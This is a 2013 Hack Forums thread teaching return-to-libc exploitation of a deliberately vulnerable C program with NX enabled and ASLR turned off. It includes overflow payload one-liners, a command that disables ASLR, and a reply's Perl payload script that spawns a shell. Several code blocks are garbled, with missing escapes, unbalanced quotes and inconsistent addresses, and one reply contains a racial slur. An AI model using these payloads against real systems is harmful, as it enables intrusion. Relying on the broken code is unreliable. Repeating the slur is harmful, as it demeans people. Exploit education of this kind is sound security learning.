

Forum:[Hack Forums](#)

Thread: [Antagonism | Ret2Libc \(NX protection enabled\)](#)

Downloading... - May 26, 2013, 1:47 pm

Introduction

In this tutorial, I will explain how to get a shell with NX enabled.
A lot of you might know this won't be very useful if ASLR is enabled, but the basics in this tuts need to be known before more advance exploitation (ASLR and NX enabled). ROP'ing with ASLR and NX enabled will be covered in another tutorial.

Things you might need to read before:

[BOF basics](#)

[BOF \(SEH\) + Protection mechanisms \(like NX\)](#)

[ASLR bruteforcing](#)

How does it work?

As you might already know, the NX makes memory pages either executable OR writable, meaning the stack will ONLY be writable, so you can't execute custom shellcode from the stack (like Divine did in his tut).

PHP Code

```
<?php
cat /proc/<pid>/maps
```

As you can see, the stack is located bffdf000 - c00, and you can see the memory page is marked as : rw, so the NX bit is NOT set there, meaning it's only readable and writable...

So, instead of returning to esp or calling esp for example (which would lead us to the NOT executable stack), we will make EIP point to a function into libc (from there the name return to libc).

In this tutorial, we will try to exploit this program:

PHP Code

```
<?php
#include <stdio.h>
```

```
int main(int argc, char * argv[])
{
char lol[200];
strcpy(lol,argv[1]);
printf("%s\n",lol);
return 0;
}
```

Compile with:

PHP Code

```
<?php
```

```
gcc -fno-stack-protector -o test test.c
```

Turn off ASLR:

PHP Code

```
<?php
```

```
echo "0" > /proc/sys/kernel/randomize_va_space
```

Run in gdb

PHP Code

```
<?php
```

```
gdb test
```

Find the offset when EIP is overwritten (see divine's tut)

We find an offset of 212, let's confirm this:

Good, now, we want to get a shell right?

A few functions that might help you : system, execv, execve,...

In this tutorial, we will use system which is located at:

PHP Code

```
<?php
```

```
p system
```

So, if you're familiar with BOF's, you'll surely understand:

PHP Code

```
<?php
```

```
./test $(python -c 'print "A"*212+"\x00\xe1\xea\xb7"+"CCCC"+"x69\x69\x69\x69"')
```

So, in words, the EIP will be overwritten with the address of the [system](#) function, CCCC would be the address of return AFTER the system function executed, and 0x69696969 would be the address of our argument to pass to system, in this case system("/bin/sh"), so 0x69696969 will be replaced with a pointer to /bin/bash.

Although, if try this, it will fail, because we used, strcpy, and using a null byte will stop our strcpy (the address of system contains a null byte) (0xb7eae100)

How do we circumvent this?

Let's disassemble the system function:

PHP Code
<?php
disas system

What we can see, is that the first instruction (sub \$0xc,%esp) will subtract esp with 12 (0xc) bytes, meaning this will shift the stack UP.

Now think, if we actually return to system+3, instead of system, we lose our null byte right?

But the function will fail if we don't adapt the stack as it is supposed to be, so instead of letting system shift the stack, we do it ourselves, by adding 12 junk bytes :D .

Our payload would be like this:

PHP Code
<?php
./test \$(python -c 'print "A"*212+"\x03\xe1\xea\xbf"+"F"*12+"CCCC"+"x69\x69\x69\x69")

Now, everything should work fine, let's store /bin/bash string somewhere in memory and replace the 69's with it:

PHP Code
<?php
#include <stdio.h>

int main(int argc, char * argv[])
{

printf("%p\n",getenv("var"));

return 0;
}

Compile and store /bin/sh, and replace that address in our payload

PHP Code
<?php
export var="/bin/sh"
./pfff

And voila, you got your shell without executing anything from the stack with our final payload being:

PHP Code
<?php
./test \$(python -c 'print "A"*212+"\x03\xe1\xea\xbf"+"F"*12+"CCCC"+"x50\xfe\xff\xbf")

Good, we got our shell, but if we exit, we get a segfault, but why?

Look at last errors by doing:

PHP Code

```
<?php
```

```
dmesg | tail -1
```

Indeed, you guessed it, the program returns to CCCC (0x43434343) after system call, so, a good exercise for you would be to cleanly exit the program ;) .

Conclusion

This method is not effective when ASLR is enabled, since we use hardcoded libc address, which will get randomized, but this method is very important as an introduction to a more advanced method called Return Oriented Programming (ROP'ing) which will be covered in a next tut !

I hope you enjoyed the tut and greetings,

Downloading...

MaXoNe - May 26, 2013, 1:51 pm

Interesting , although not my kind of thing , but very interesting.

-?Divine- - May 26, 2013, 1:51 pm

Nice tutorial Down. Now let's wait for Keeper to come and show the big teeth.

Pendragon - May 26, 2013, 1:53 pm

FUCK LIBC I RET2GOT NIGGAA!

Spoiler ([Click to View](#))

Good job, I have no idea what I'm talking about.

DeathBolt - May 26, 2013, 1:58 pm

Really nice tut although I'll never use it :D

Thanks for posting :D

n3xus - May 26, 2013, 2:40 pm

(May 26, 2013 01:47 PM)Downloading... Wrote: [\[CITE\]](#) Indeed, you guessed it, the program returns to CCCC (0x43434343) after system call, so, a good exercise for you would be to cleanly exit the program ;) .

You can do so by using the address of exit(), like so:

Code `#!/usr/bin/env perl`

```
my $junk = "A"x212; # 216 - 4
```

```
my $system_addr = pack('V', 0xb7ecffb0); # &system
```

```
my $exit_addr = pack('V', 0xb7ec60c0); # &exit
```

```
my $shell_addr = pack('V', 0xbffff9d1); # address of SHELL+4
```

```
my $payload = $junk.$system_addr.$exit_addr.$shell_addr;
```

```
print $payload;
```

-?Divine- - May 27, 2013, 9:49 am

(May 26, 2013 02:40 PM)n3xus Wrote: [\[CITE\]](#) You can do so by using the address of exit(), like so:

```
Code #!/usr/bin/env perl
```

```
my $junk = "A"x212; # 216 - 4
my $system_addr = pack('V', 0xb7ecffb0); # &system
my $exit_addr = pack('V', 0xb7ec60c0); # &exit
my $shell_addr = pack('V', 0xbffff9d1); # address of SHELL+4
my $payload = $junk.$system_addr.$exit_addr.$shell_addr;
```

```
print $payload;
```

He had a null byte in system and in exit.

n3xus - May 27, 2013, 12:32 pm

(May 27, 2013 09:49 AM)-?Divine- Wrote: [\[CITE\]](#) He had a null byte in system and in exit.
That's because of ASCII armor protection.

zeru - May 27, 2013, 12:41 pm

pashabiceps - May 27, 2013, 12:43 pm

Great tutorial, i'll be waiting for the next one about Return Oriented Programming.

-?Divine- - May 27, 2013, 12:43 pm

(May 27, 2013 12:43 PM)pashabiceps Wrote: [\[CITE\]](#) Great tutorial, i'll be waiting for the next one about Return Oriented Programming.
Same. That one's gonna be quite interesting.

@Zeru LOL